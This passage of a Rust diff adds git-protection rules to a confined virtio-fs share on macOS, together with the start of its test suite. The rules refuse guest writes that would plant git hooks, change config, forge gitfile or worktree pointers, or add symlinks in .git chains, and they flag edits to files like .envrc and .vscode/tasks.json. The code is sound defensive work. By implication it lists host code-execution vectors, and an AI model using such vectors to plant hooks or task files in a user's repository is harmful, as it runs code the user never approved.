(identity `x` in `dir`) is a tracked target, lies inside a tracked tree, or (for a ++ /// rename) is a directory on the way to one. ++ fn target_refuses_existing(&self, st: &State, g: &GitState, dir: &[Hop], x: (u64, u64), rename: bool) -> io::Result { ++ let here = ids(dir); ++ for (_, walk) in self.resolve_targets(st, g)? { ++ let (target, on_the_way) = match &walk { ++ Walk::Dir(c) => (c.last().map(|h| h.id), ids(&c[1..c.len().saturating_sub(1).max(1)])), ++ Walk::File { parent, stat, .. } => (Some(dev_ino(stat)), ids(&parent[1..])), ++ Walk::Missing { parent, .. } => (None, ids(&parent[1..])), ++ _ => continue, ++ }; ++ if target == Some(x) { ++ return Ok(true); ++ } ++ if let (Walk::Dir(_), Some(t)) = (&walk, target) { ++ if here.contains(&t) { ++ return Ok(true); ++ } ++ } ++ if rename && on_the_way.contains(&x) { ++ return Ok(true); ++ } ++ } ++ Ok(false) ++ } ++ ++ /// A node is a tracked target or inside a tracked tree. ++ fn target_holds_node(&self, st: &State, g: &GitState, parent: &[Hop], x: (u64, u64)) -> io::Result { ++ let here = ids(parent); ++ for (_, walk) in self.resolve_targets(st, g)? { ++ match walk { ++ Walk::Dir(c) => { ++ if let Some(t) = c.last() { ++ if t.id == x || here.contains(&t.id) { ++ return Ok(true); ++ } ++ } ++ } ++ Walk::File { stat, .. } => { ++ if dev_ino(&stat) == x { ++ return Ok(true); ++ } ++ } ++ _ => {} ++ } ++ } ++ Ok(false) ++ } ++ ++ // ---- the rules ------------------------------------------------------------------------------------ ++ ++ fn class_of(&self, st: &mut State, g: &mut GitState, id: u64) -> io::Result { ++ if id == ROOT_ID { ++ return Ok(Class::Plain); ++ } ++ let node = st.nodes.get(&id).ok_or_else(|| err(lx::ESTALE))?; ++ let (x, parent, name, kind) = ((node.dev, node.ino), node.parent, node.name.to_bytes().to_vec(), node.kind); ++ if let Some(class) = g.held.get(&x) { ++ return Ok(*class); ++ } ++ let chain = self.node_chain(st, parent)?; ++ let place = self.place(g, &chain)?; ++ let class = if self.below_hooks(g, &chain)? ++ || (place.zone && g.is(&name, "hooks")) ++ || (!g.targets.is_empty() && self.target_holds_node(st, g, &chain, x)?) ++ { ++ Class::Immutable ++ } else if place.zone && g.is_any(&name, &CONFIGS) { ++ Class::Config ++ } else if kind == Kind::File && g.is(&name, ".git") && !place.exempt { ++ Class::Pointer(PointerKind::Gitfile) ++ } else if kind == Kind::File && g.is(&name, "commondir") { ++ Class::Pointer(PointerKind::Commondir) ++ } else if kind == Kind::File && g.is(&name, "gitdir") { ++ Class::Pointer(PointerKind::Gitdir) ++ } else { ++ Class::Plain ++ }; ++ if class != Class::Plain { ++ g.held.insert(x, class); ++ } ++ Ok(class) ++ } ++ ++ fn new_entry(&self, st: &mut State, g: &GitState, parent: u64, name: &[u8], how: How) -> io::Result<()> { ++ let chain = self.node_chain(st, parent)?; ++ let dir = chain.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(); ++ let place = self.place(g, &chain)?; ++ // Below an existing hooks directory, and inside a tracked tree or onto a tracked name: nothing. ++ if self.below_hooks(g, &chain)? { ++ return refuse(); ++ } ++ if !g.targets.is_empty() && self.target_refuses_new(st, g, &chain, name, how == How::RenameDir)? { ++ return refuse(); ++ } ++ // A tracked path's written names (and the links on its way) are never replaced or re-pointed. ++ if matches!(how, How::Symlink | How::Link | How::RenameFile | How::RenameDir) && self.is_protected_name(st, g, &chain, name)? { ++ return refuse(); ++ } ++ let exists = self.holds(dir, name)?; ++ // Inside refs/ and logs/: never a .git, commondir or gitdir. ++ if place.exempt && g.is_any(name, &[".git", "commondir", "gitdir"]) { ++ return refuse(); ++ } ++ // Pointer files: only a regular file created empty (or a directory named .git); never a link, a ++ // hard link or a rename onto one. ++ if g.is(name, ".git") && !matches!(how, How::File | How::Dir) { ++ return refuse(); ++ } ++ if g.is_any(name, &["commondir", "gitdir"]) && (how != How::File || !place.dotgit) { ++ return refuse(); ++ } ++ // Creation order (H5): a directory never turns into a git directory around a hooks entry or a ++ // configuration the server did not admit. ++ if g.is_any(name, &MARKERS) && exists.is_none() && self.failing_dir(g, &chain)? { ++ return refuse(); ++ } ++ // No new git directories outside a .git chain (H2). ++ if g.is(name, "HEAD") && !place.dotgit { ++ return refuse(); ++ } ++ if !place.dotgit ++ && ((g.is(name, "objects") && self.holds(dir, b"refs")?.is_some()) || (g.is(name, "refs") && self.holds(dir, b"objects")?.is_some())) ++ { ++ return refuse(); ++ } ++ if place.zone { ++ if g.is(name, "hooks") { ++ return refuse(); ++ } ++ if g.is_any(name, &CONFIGS) && matches!(how, How::File | How::Symlink | How::Link) { ++ return refuse(); ++ } ++ // No directory is renamed into the zone (H4, H5). ++ if how == How::RenameDir { ++ return refuse(); ++ } ++ } ++ Ok(()) ++ } ++ ++ /// A symbolic link may never appear in a `.git` chain or the zone (the Mac's git would follow it), except ++ /// git's own `core.symlinks` probe: `t` and six characters, pointing at `testing`, which git removes at ++ /// once. `target` is the text of a new link (`None` for a link moved or hard-linked in). ++ fn link_rules(&self, st: &mut State, g: &GitState, parent: u64, name: &[u8], target: Option<&[u8]>) -> io::Result<()> { ++ let chain = self.node_chain(st, parent)?; ++ let place = self.place(g, &chain)?; ++ let probe = target == Some(b"testing") && name.len() == 7 && name[0] == b't' && name[1..].iter().all(u8::is_ascii_alphanumeric); ++ if (place.dotgit || place.zone) && !probe { ++ return refuse(); ++ } ++ Ok(()) ++ } ++ ++ fn existing_entry(&self, st: &mut State, g: &GitState, parent: u64, name: &[u8], how: Removal) -> io::Result<()> { ++ let chain = self.node_chain(st, parent)?; ++ let dir = chain.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(); ++ let Some(s) = self.holds(dir, name)? else { return Ok(()) }; ++ let x = dev_ino(&s); ++ if self.below_hooks(g, &chain)? { ++ return refuse(); ++ } ++ if !g.targets.is_empty() && self.target_refuses_existing(st, g, &chain, x, how == Removal::RenameOut)? { ++ return refuse(); ++ } ++ if self.is_protected_name(st, g, &chain, name)? { ++ return refuse(); ++ } ++ let place = self.place(g, &chain)?; ++ let worktree_unlink = how == Removal::Unlink && place.zone && g.is(name, "config.worktree"); ++ match g.held.get(&x) { ++ Some(Class::Immutable) => return refuse(), ++ Some(Class::Config) if !worktree_unlink => return refuse(), ++ _ => {} ++ } ++ if place.zone && (g.is(name, "hooks") || g.is(name, "config")) { ++ return refuse(); ++ } ++ if place.zone && g.is(name, "config.worktree") && !worktree_unlink { ++ return refuse(); ++ } ++ // Git directories are never moved or removed (H4). ++ if kind_of(s.st_mode) == Kind::Dir && how != Removal::Unlink && self.is_git_dir(g, &self.hop_into(&chain, name, &s)?)? { ++ return refuse(); ++ } ++ Ok(()) ++ } ++ ++ #[allow(clippy::too_many_arguments)] ++ fn rename_rules(&self, st: &mut State, g: &GitState, old_parent: u64, old: &[u8], new_parent: u64, new: &[u8], flags: u32) -> io::Result<()> { ++ let ochain = self.node_chain(st, old_parent)?; ++ let Some(src) = self.holds(ochain.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(), old)? else { return Ok(()) }; ++ self.existing_entry(st, g, old_parent, old, Removal::RenameOut)?; ++ let how = |s: &libc::stat| if kind_of(s.st_mode) == Kind::Dir { How::RenameDir } else { How::RenameFile }; ++ let nchain = self.node_chain(st, new_parent)?; ++ let nplace = self.place(g, &nchain)?; ++ let dst = self.holds(nchain.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(), new)?; ++ if flags == LINUX_RENAME_EXCHANGE { ++ // An exchange moves both entries out of their names (so it is never git's lock path, and the ++ // existing-entry rules refuse a config, a hooks entry or a git directory on either side). ++ let Some(d) = dst else { return Ok(()) }; ++ self.existing_entry(st, g, new_parent, new, Removal::RenameOut)?; ++ self.new_entry(st, g, old_parent, old, how(&d))?; ++ if kind_of(d.st_mode) == Kind::Symlink { ++ self.link_rules(st, g, old_parent, old, None)?; ++ } ++ if kind_of(src.st_mode) == Kind::Symlink { ++ self.link_rules(st, g, new_parent, new, None)?; ++ } ++ return self.new_entry(st, g, new_parent, new, how(&src)); ++ } ++ if kind_of(src.st_mode) == Kind::Symlink { ++ self.link_rules(st, g, new_parent, new, None)?; ++ } ++ let lock_rename = nplace.zone && g.is_any(new, &CONFIGS) && how(&src) == How::RenameFile; ++ if dst.is_some() && !lock_rename { ++ self.existing_entry(st, g, new_parent, new, Removal::RenameOut)?; ++ } ++ self.new_entry(st, g, new_parent, new, how(&src))?; ++ if lock_rename { ++ self.config_rename(st, g, old_parent == new_parent, &ochain, old, &src, &nchain, new, dst)?; ++ } ++ Ok(()) ++ } ++ ++ /// The only way to change `config` or `config.worktree`: git's own `.lock` in the same ++ /// directory, renamed. The source is a single-link regular file with no writable handle; its keys, ++ /// parsed strictly, may add or change only admitted keys. ++ #[allow(clippy::too_many_arguments)] ++ fn config_rename( ++ &self, ++ st: &mut State, ++ g: &GitState, ++ same_dir: bool, ++ source_dir: &[Hop], ++ old: &[u8], ++ src: &libc::stat, ++ chain: &[Hop], ++ new: &[u8], ++ dst: Option, ++ ) -> io::Result<()> { ++ if !same_dir { ++ return refuse(); ++ } ++ let lock_name = [new, b".lock"].concat(); ++ if !(if g.case_sensitive { old == lock_name.as_slice() } else { fold(old) == fold(&lock_name) }) { ++ return refuse(); ++ } ++ if src.st_nlink != 1 { ++ return refuse(); ++ } ++ let x = dev_ino(src); ++ let writable = st.handles.values().any(|h| h.writable && st.nodes.get(&h.node).is_some_and(|n| (n.dev, n.ino) == x)); ++ if writable { ++ return refuse(); ++ } ++ let dir = chain.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(); ++ let from = source_dir.last().ok_or_else(|| err(lx::ESTALE))?.fd.as_raw_fd(); ++ let Ok(text) = self.read_small(from, old, src, CONFIG_MAX) else { return refuse() }; ++ let Ok(added) = gitconfig::parse(&text) else { return refuse() }; ++ let current: HashSet = match dst { ++ None => HashSet::new(), ++ Some(d) if kind_of(d.st_mode) == Kind::File => self ++ .read_small(dir, new, &d, CONFIG_MAX) ++ .ok() ++ .and_then(|t| gitconfig::parse(&t).ok()) ++ .unwrap_or_default() ++ .into_iter() ++ .collect(), ++ Some(_) => return refuse(), ++ }; ++ let mut ok = |v: &[u8]| self.worktree_ok(g, chain, v); ++ if added.iter().any(|e| !current.contains(e) && !gitconfig::admitted(e, &mut ok)) { ++ return refuse(); ++ } ++ Ok(()) ++ } ++ ++ /// A watched name (T18, T19): allowed, reported once per kind. ++ fn watched(&self, g: &GitState, chain: &[Hop], name: &[u8]) -> Option { ++ let parent: &[u8] = chain.last().map(|h| h.name.as_slice()).unwrap_or_default(); ++ if g.is(name, ".envrc") { ++ return Some(NoticeKind::Envrc); ++ } ++ if g.is(parent, ".vscode") && g.is(name, "tasks.json") { ++ return Some(NoticeKind::VscodeTasks); ++ } ++ if g.is(parent, ".vscode") && g.is(name, "settings.json") { ++ return Some(NoticeKind::VscodeSettings); ++ } ++ if g.ends(name, ".code-workspace") { ++ return Some(NoticeKind::CodeWorkspace); ++ } ++ if (g.is(parent, ".idea") && g.ends(name, ".xml")) ++ || chain.windows(2).any(|w| g.is(&w[0].name, ".idea") && g.is(&w[1].name, "runConfigurations")) ++ { ++ return Some(NoticeKind::IdeaProject); ++ } ++ None ++ } ++ ++ fn watched_entry(&self, st: &mut State, g: &GitState, parent: u64, name: &[u8]) -> io::Result> { ++ let chain = self.node_chain(st, parent)?; ++ Ok(self.watched(g, &chain, name)) ++ } ++ ++ fn watched_node(&self, st: &mut State, g: &GitState, id: u64) -> io::Result> { ++ let Some(node) = st.nodes.get(&id) else { return Ok(None) }; ++ if id == ROOT_ID { ++ return Ok(None); ++ } ++ let (parent, name) = (node.parent, node.name.to_bytes().to_vec()); ++ self.watched_entry(st, g, parent, &name) ++ } ++ ++ fn rules(&self, st: &mut State, g: &mut GitState, op: &Mutation) -> io::Result> { ++ // A node this device does not hold is refused by the core itself (ESTALE, or EXDEV under R5); the ++ // rules have nothing to look at. ++ let ids: &[u64] = match *op { ++ Mutation::Create { parent, .. } ++ | Mutation::Mkdir { parent, .. } ++ | Mutation::Mknod { parent, .. } ++ | Mutation::Symlink { parent, .. } ++ | Mutation::Unlink { parent, .. } ++ | Mutation::Rmdir { parent, .. } => &[parent], ++ Mutation::Link { node, parent, .. } => &[node, parent], ++ Mutation::Rename { old_parent, new_parent, .. } => &[old_parent, new_parent], ++ Mutation::Setattr { node, .. } | Mutation::OpenWrite { node, .. } | Mutation::Write { node, .. } | Mutation::Fallocate { node, .. } => &[node], ++ }; ++ if ids.iter().any(|id| !st.nodes.contains_key(id)) { ++ return Ok(None); ++ } ++ match *op { ++ Mutation::Create { parent, name } | Mutation::Mknod { parent, name } => { ++ self.new_entry(st, g, parent, name.to_bytes(), How::File)?; ++ self.watched_entry(st, g, parent, name.to_bytes()) ++ } ++ Mutation::Mkdir { parent, name } => self.new_entry(st, g, parent, name.to_bytes(), How::Dir).map(|_| None), ++ Mutation::Symlink { parent, name, target } => { ++ self.new_entry(st, g, parent, name.to_bytes(), How::Symlink)?; ++ self.link_rules(st, g, parent, name.to_bytes(), Some(target.to_bytes()))?; ++ self.watched_entry(st, g, parent, name.to_bytes()) ++ } ++ Mutation::Link { node, parent, name } => { ++ if self.class_of(st, g, node)? != Class::Plain { ++ return refuse(); ++ } ++ self.new_entry(st, g, parent, name.to_bytes(), How::Link)?; ++ if st.nodes.get(&node).is_some_and(|n| n.kind == Kind::Symlink) { ++ self.link_rules(st, g, parent, name.to_bytes(), None)?; ++ } ++ self.watched_entry(st, g, parent, name.to_bytes()) ++ } ++ Mutation::Unlink { parent, name } => self.existing_entry(st, g, parent, name.to_bytes(), Removal::Unlink).map(|_| None), ++ Mutation::Rmdir { parent, name } => self.existing_entry(st, g, parent, name.to_bytes(), Removal::Rmdir).map(|_| None), ++ Mutation::Rename { old_parent, old_name, new_parent, new_name, flags } => { ++ self.rename_rules(st, g, old_parent, old_name.to_bytes(), new_parent, new_name.to_bytes(), flags)?; ++ self.watched_entry(st, g, new_parent, new_name.to_bytes()) ++ } ++ Mutation::Setattr { node, valid, .. } => { ++ let size = valid.contains(SetattrValid::SIZE); ++ match self.class_of(st, g, node)? { ++ Class::Immutable => return refuse(), ++ Class::Config | Class::Pointer(_) if size => return refuse(), ++ _ => {} ++ } ++ if size { ++ self.watched_node(st, g, node) ++ } else { ++ Ok(None) ++ } ++ } ++ Mutation::OpenWrite { node, .. } => match self.class_of(st, g, node)? { ++ Class::Immutable | Class::Config => refuse(), ++ _ => self.watched_node(st, g, node), ++ }, ++ // A pointer file's writes go to its buffer and never reach here. ++ Mutation::Write { node, .. } | Mutation::Fallocate { node, .. } => match self.class_of(st, g, node)? { ++ Class::Plain => Ok(None), ++ _ => refuse(), ++ }, ++ } ++ } ++ ++ /// The R15 chokepoint, called from `ConfinedFs::admit` after the read-only check. A refusal reports ++ /// `git_protected`; an allowed write to a watched name reports its kind. ++ pub(super) fn git_admit(&self, op: &Mutation) -> io::Result<()> { ++ let mut st = self.lock(); ++ let Some(mut g) = st.git.take() else { return Ok(()) }; ++ let res = self.rules(&mut st, &mut g, op); ++ st.git = Some(g); ++ match res { ++ Ok(Some(kind)) => { ++ self.notices.push(kind); ++ Ok(()) ++ } ++ Ok(None) => Ok(()), ++ Err(e) => { ++ if e.raw_os_error() == Some(lx::EPERM) { ++ self.notices.push(NoticeKind::GitProtected); ++ } ++ Err(e) ++ } ++ } ++ } ++ ++ // ---- pointer files ---------------------------------------------------------------------------------- ++ ++ /// The pointer kind of a new regular file named `name` (CREATE), if R15 is active. ++ pub(super) fn git_pointer_name(&self, st: &State, name: &[u8]) -> Option { ++ let g = st.git.as_ref()?; ++ if g.is(name, ".git") { ++ Some(PointerKind::Gitfile) ++ } else if g.is(name, "commondir") { ++ Some(PointerKind::Commondir) ++ } else if g.is(name, "gitdir") { ++ Some(PointerKind::Gitdir) ++ } else { ++ None ++ } ++ } ++ ++ /// The pointer kind of an existing node opened for writing, if R15 is active. ++ pub(super) fn git_pointer_node(&self, st: &mut State, id: u64) -> io::Result> { ++ let Some(mut g) = st.git.take() else { return Ok(None) }; ++ let res = self.class_of(st, &mut g, id); ++ st.git = Some(g); ++ Ok(match res? { ++ Class::Pointer(kind) => Some(kind), ++ _ => None, ++ }) ++ } ++ ++ /// Checks a pointer file's buffered content (on FLUSH or RELEASE). `EPERM` and a notice unless it is ++ /// exactly one line of the right form naming an admissible target. ++ pub(super) fn git_pointer_check(&self, st: &mut State, node: u64, kind: PointerKind, buf: &[u8]) -> io::Result<()> { ++ let Some(mut g) = st.git.take() else { return refuse() }; ++ let res = self.pointer_valid(st, &mut g, node, kind, buf); ++ st.git = Some(g); ++ if matches!(res, Ok(true)) { ++ return Ok(()); ++ } ++ self.notices.push(NoticeKind::GitProtected); ++ refuse() ++ } ++ ++ /// Some directory at index `k` < `upto` of `chain` is a `modules/` or `worktrees/` directly under a ++ /// git directory of a `.git` chain. ++ fn below_modules(&self, g: &GitState, chain: &[Hop], upto: usize) -> io::Result { ++ for k in 1..upto.min(chain.len()) { ++ if g.is_any(&chain[k].name, &["modules", "worktrees"]) { ++ let p = self.place(g, &chain[..k])?; ++ if p.git_dir && p.dotgit && !p.exempt { ++ return Ok(true); ++ } ++ } ++ } ++ Ok(false) ++ } ++ ++ fn pointer_valid(&self, st: &mut State, g: &mut GitState, node: u64, kind: PointerKind, buf: &[u8]) -> io::Result { ++ let parent = st.nodes.get(&node).ok_or_else(|| err(lx::ESTALE))?.parent; ++ let here = self.node_chain(st, parent)?; ++ let Some(path) = pointer_line(buf, kind) else { return Ok(false) }; ++ match kind { ++ // A gitfile names an existing directory under some .git/modules/ or .git/worktrees/ (or one ++ // still to be made there, as `git submodule` writes the gitfile first), outside refs/ and ++ // logs/, holding no hooks entry and no non-admitted config. ++ PointerKind::Gitfile => match self.walk_text(st, here, path, false)? { ++ Walk::Dir(target) => Ok(self.below_modules(g, &target, target.len() - 1)? ++ && !self.place(g, &target)?.exempt ++ && !self.failing_dir(g, &target)?), ++ Walk::Missing { parent, rest } => { ++ let parts: Vec<&Vec> = rest.iter().filter(|r| !r.is_empty() && r.as_slice() != b".").collect(); ++ Ok(!parts.is_empty() ++ && parts.iter().all(|r| r.as_slice() != b".." && check_name(r).is_ok()) ++ && self.below_modules(g, &parent, parent.len())? ++ && !self.place(g, &parent)?.exempt) ++ } ++ _ => Ok(false), ++ }, ++ PointerKind::Commondir | PointerKind::Gitdir => { ++ // Only in /worktrees//. ++ let n = here.len(); ++ if n < 3 || !g.is(&here[n - 2].name, "worktrees") { ++ return Ok(false); ++ } ++ let common = &here[..n - 2]; ++ let p = self.place(g, common)?; ++ if !(p.git_dir && p.dotgit && !p.exempt) { ++ return Ok(false); ++ } ++ let walk = self.walk_text(st, here.clone(), path, false)?; ++ match (kind, walk) { ++ // commondir: exactly the git directory that holds this worktrees/, re-validated (H5). ++ (PointerKind::Commondir, Walk::Dir(target)) => { ++ Ok(target.last().map(|h| h.id) == common.last().map(|h| h.id) && !self.failing_dir(g, common)?) ++ } ++ // gitdir: a regular file named .git outside every .git chain (the worktree's gitfile, ++ // which `git worktree add` writes just after). ++ (PointerKind::Gitdir, Walk::File { parent, name, stat }) => { ++ let p = self.place(g, &parent)?; ++ Ok(g.is(&name, ".git") && kind_of(stat.st_mode) == Kind::File && !p.dotgit && !p.zone) ++ } ++ (PointerKind::Gitdir, Walk::Missing { parent, rest }) => { ++ let parts: Vec<&Vec> = rest.iter().filter(|r| !r.is_empty() && r.as_slice() != b".").collect(); ++ let p = self.place(g, &parent)?; ++ Ok(parts.len() == 1 && g.is(parts[0], ".git") && !p.dotgit && !p.zone) ++ } ++ _ => Ok(false), ++ } ++ } ++ } ++ } ++ ++ // ---- bookkeeping after a host change ---------------------------------------------------------- ++ ++ /// Records the class of a node just looked up under a protected name, so its identity stays protected. ++ pub(super) fn git_hold(&self, st: &mut State, id: u64) -> io::Result<()> { ++ let Some(mut g) = st.git.take() else { return Ok(()) }; ++ let candidate = st.nodes.get(&id).is_some_and(|n| g.is_any(n.name.to_bytes(), &["hooks", "config", "config.worktree", ".git", "commondir", "gitdir"])); ++ let res = if candidate { self.class_of(st, &mut g, id).map(drop) } else { Ok(()) }; ++ st.git = Some(g); ++ res ++ } ++ ++ /// The identity of `name` in a held directory, if R15 is active (before an unlink or rename). ++ pub(super) fn git_identity(&self, st: &State, dir: RawFd, name: &[u8]) -> Option<(u64, u64)> { ++ st.git.as_ref()?; ++ self.holds(dir, name).ok().flatten().map(|s| dev_ino(&s)) ++ } ++ ++ /// An entry left its name: its held class goes with it. ++ pub(super) fn git_forget(&self, st: &mut State, x: Option<(u64, u64)>) { ++ if let (Some(g), Some(x)) = (st.git.as_mut(), x) { ++ g.held.remove(&x); ++ } ++ } ++ ++ /// After a rename onto `config`/`config.worktree` in the zone: the new file is held as a config and ++ /// the repository's tracked set is read again (it only ever grows). ++ pub(super) fn git_renamed(&self, st: &mut State, parent: u64, name: &[u8], x: (u64, u64)) -> io::Result<()> { ++ let Some(mut g) = st.git.take() else { return Ok(()) }; ++ let res = (|| { ++ let chain = self.node_chain(st, parent)?; ++ let place = self.place(&g, &chain)?; ++ if place.zone && g.is_any(name, &CONFIGS) { ++ g.held.insert(x, Class::Config); ++ if place.git_dir { ++ let last = chain.last().ok_or_else(|| err(lx::ESTALE))?; ++ let top = if g.is(&last.name, ".git") { &chain[..chain.len() - 1] } else { &chain[..] }; ++ self.discover_git_dir(st, &mut g, &chain, top, true)?; ++ } ++ } ++ Ok(()) ++ })(); ++ st.git = Some(g); ++ res ++ } ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/git_tests.rs b/src/devices/src/virtio/fs/macos/confined/git_tests.rs +new file mode 100644 +index 0000000..271cce7 +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/git_tests.rs +@@ -0,0 +1,1441 @@ ++// R15 and R16 suites (design 2.7, T17, T17b, T17c, T18-T20): FUSE messages through ++// `Server::handle_confined_message` against temporary trees. The host's own git only builds reference ++// layouts in separate temporary directories and reads the replayed result; it never runs in a real ++// repository. ++ ++use std::os::unix::fs::symlink; ++use std::process::{Command, Output}; ++ ++use super::*; ++ ++const GUEST: &str = "/workspace/folders/test"; ++const FOLDER: ShareFlags = ShareFlags { read_only: false, winter_share: false, folder_rules: true }; ++const EPERM: i32 = lx::EPERM; ++const FATTR_MODE: u32 = 1; ++const FATTR_SIZE: u32 = 8; ++ ++fn folder(prepare: impl FnOnce(&Path)) -> Share { ++ Share::build(FOLDER, prepare) ++} ++ ++/// A folder share whose guest mount path is the host path of its root, so the absolute pointer paths it ++/// accepts are valid for the host's own git too. ++fn folder_at_host_path() -> Share { ++ let tree = TempTree::new(); ++ let root = tree.0.join("root"); ++ let outside = tree.0.join("outside"); ++ fs::create_dir(&root).unwrap(); ++ fs::create_dir(&outside).unwrap(); ++ let guest = CString::new(root.as_os_str().as_bytes()).unwrap(); ++ let fs = ConfinedFs::new(ConfinedConfig { root: root_fd(&root), flags: FOLDER, guest_path: guest }).unwrap(); ++ Share::with_fs(tree, root, outside, fs) ++} ++ ++fn insensitive(share: &Share) -> bool { ++ !share.fs().lock().git.as_ref().unwrap().case_sensitive ++} ++ ++/// A minimal repository the user made on the Mac: a `.git` with HEAD, objects, refs and a config. ++fn plant_repo(dir: &Path, config: &str) { ++ fs::create_dir_all(dir.join(".git/objects")).unwrap(); ++ fs::create_dir_all(dir.join(".git/refs/heads")).unwrap(); ++ fs::create_dir_all(dir.join(".git/refs/tags")).unwrap(); ++ fs::write(dir.join(".git/HEAD"), "ref: refs/heads/main\n").unwrap(); ++ fs::write(dir.join(".git/config"), config).unwrap(); ++} ++ ++const PLAIN_CONFIG: &str = "[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n"; ++ ++impl Share { ++ fn try_at(&mut self, path: &str) -> Result { ++ let mut node = 1; ++ for part in path.split('/').filter(|c| !c.is_empty()) { ++ let reply = self.lookup(node, part.as_bytes()); ++ if reply.error != 0 { ++ return Err(reply.error); ++ } ++ node = reply.obj::().nodeid; ++ } ++ Ok(node) ++ } ++ ++ fn at(&mut self, path: &str) -> u64 { ++ self.try_at(path).unwrap_or_else(|e| panic!("lookup {path}: {e}")) ++ } ++ ++ fn split<'a>(&mut self, path: &'a str) -> (u64, &'a str) { ++ match path.rsplit_once('/') { ++ Some((dir, name)) => (self.at(dir), name), ++ None => (1, path), ++ } ++ } ++ ++ fn md(&mut self, path: &str) -> i32 { ++ let (dir, name) = self.split(path); ++ self.mkdir(dir, name.as_bytes(), 0o755).error ++ } ++ ++ fn flush(&mut self, node: u64, fh: u64) -> Reply { ++ self.call(Opcode::Flush, node, FlushIn { fh, unused: 0, padding: 0, lock_owner: 0 }.as_slice()) ++ } ++ ++ fn setattr_fh(&mut self, node: u64, fh: u64, valid: u32, mode: u32, size: u64) -> Reply { ++ self.call(Opcode::Setattr, node, SetattrIn { valid: valid | FATTR_FH, fh, mode, size, ..Default::default() }.as_slice()) ++ } ++ ++ /// CREATE, WRITE, FLUSH and RELEASE, as `write_file` does in git; the first error. ++ fn put(&mut self, path: &str, data: &[u8]) -> i32 { ++ let (dir, name) = self.split(path); ++ let reply = self.create(dir, name.as_bytes(), 0o644, RDWR); ++ if reply.error != 0 { ++ return reply.error; ++ } ++ let node = reply.obj::().nodeid; ++ let fh = OpenOut::from_slice(&reply.body[std::mem::size_of::()..][..std::mem::size_of::()]).unwrap().fh; ++ let written = if data.is_empty() { 0 } else { self.write(node, fh, 0, data).error }; ++ let flushed = self.flush(node, fh).error; ++ self.release(node, fh); ++ if written != 0 { ++ written ++ } else { ++ flushed ++ } ++ } ++ ++ /// An existing file rewritten as the Linux kernel sends `open(O_WRONLY | O_TRUNC)` without atomic ++ /// O_TRUNC: OPEN, SETATTR size 0 through the handle, WRITE, FLUSH, RELEASE; the first error. ++ fn rewrite(&mut self, path: &str, data: &[u8]) -> i32 { ++ let node = match self.try_at(path) { ++ Ok(node) => node, ++ Err(e) => return e, ++ }; ++ let open = self.open(node, WRONLY); ++ if open.error != 0 { ++ return open.error; ++ } ++ let fh = open.obj::().fh; ++ let steps = [self.setattr_fh(node, fh, FATTR_SIZE, 0, 0).error, self.write(node, fh, 0, data).error, self.flush(node, fh).error]; ++ self.release(node, fh); ++ steps.into_iter().find(|e| *e != 0).unwrap_or(0) ++ } ++ ++ fn ren(&mut self, from: &str, to: &str) -> i32 { ++ let (old, old_name) = self.split(from); ++ let (new, new_name) = self.split(to); ++ self.rename(old, old_name.as_bytes(), new, new_name.as_bytes()).error ++ } ++ ++ fn exchange(&mut self, a: &str, b: &str) -> i32 { ++ let (old, old_name) = self.split(a); ++ let (new, new_name) = self.split(b); ++ self.rename2(old, old_name.as_bytes(), new, new_name.as_bytes(), 2).error ++ } ++ ++ /// git's own lock and rename: `.lock` written, then renamed onto ``. A refused rename ++ /// removes the lock again, as git does. ++ fn lock_rename(&mut self, path: &str, data: &[u8]) -> i32 { ++ let lock = format!("{path}.lock"); ++ let e = self.put(&lock, data); ++ if e != 0 { ++ return e; ++ } ++ let e = self.ren(&lock, path); ++ if e != 0 { ++ self.rm(&lock); ++ } ++ e ++ } ++ ++ fn rm(&mut self, path: &str) -> i32 { ++ let (dir, name) = self.split(path); ++ self.remove(Opcode::Unlink, dir, name.as_bytes()).error ++ } ++ ++ fn rd(&mut self, path: &str) -> i32 { ++ let (dir, name) = self.split(path); ++ self.remove(Opcode::Rmdir, dir, name.as_bytes()).error ++ } ++ ++ fn sym(&mut self, path: &str, target: &str) -> i32 { ++ let (dir, name) = self.split(path); ++ self.symlink(dir, name.as_bytes(), target.as_bytes()).error ++ } ++ ++ fn hard(&mut self, from: &str, to: &str) -> i32 { ++ let node = self.at(from); ++ let (dir, name) = self.split(to); ++ self.link(node, dir, name.as_bytes()).error ++ } ++ ++ fn open_w(&mut self, path: &str) -> i32 { ++ let node = self.at(path); ++ let reply = self.open(node, WRONLY); ++ if reply.error == 0 { ++ let fh = reply.obj::().fh; ++ self.release(node, fh); ++ } ++ reply.error ++ } ++ ++ fn notices(&self) -> Vec { ++ self.fs().notices().drain() ++ } ++ ++ /// Copies a host tree into the share through the server (directories made, files written). ++ fn copy_in(&mut self, from: &Path, to: &str) { ++ let mut entries: Vec<_> = fs::read_dir(from).unwrap().map(|e| e.unwrap().path()).collect(); ++ entries.sort(); ++ for path in entries { ++ let name = path.file_name().unwrap().to_str().unwrap(); ++ let target = format!("{to}/{name}"); ++ if path.is_dir() { ++ let e = self.md(&target); ++ assert!(e == 0 || e == lx::EEXIST, "mkdir {target}: {e}"); ++ self.copy_in(&path, &target); ++ } else { ++ assert_eq!(self.put(&target, &fs::read(&path).unwrap()), 0, "{target}"); ++ } ++ } ++ } ++} ++ ++/// Every case spelling of a short name, or the obvious ones and each single-letter flip of a longer one. ++fn spellings(name: &str) -> Vec { ++ let letters: Vec = name.char_indices().filter(|(_, c)| c.is_ascii_alphabetic()).map(|(i, _)| i).collect(); ++ let mut out = Vec::new(); ++ if letters.len() <= 7 { ++ for mask in 0u32..(1 << letters.len()) { ++ let mut s: Vec = name.as_bytes().to_vec(); ++ for (bit, i) in letters.iter().enumerate() { ++ if mask & (1 << bit) != 0 { ++ s[*i] = s[*i].to_ascii_uppercase(); ++ } else { ++ s[*i] = s[*i].to_ascii_lowercase(); ++ } ++ } ++ out.push(String::from_utf8(s).unwrap()); ++ } ++ } else { ++ out.push(name.to_ascii_lowercase()); ++ out.push(name.to_ascii_uppercase()); ++ for i in &letters { ++ let mut s = name.to_ascii_lowercase().into_bytes(); ++ s[*i] = s[*i].to_ascii_uppercase(); ++ 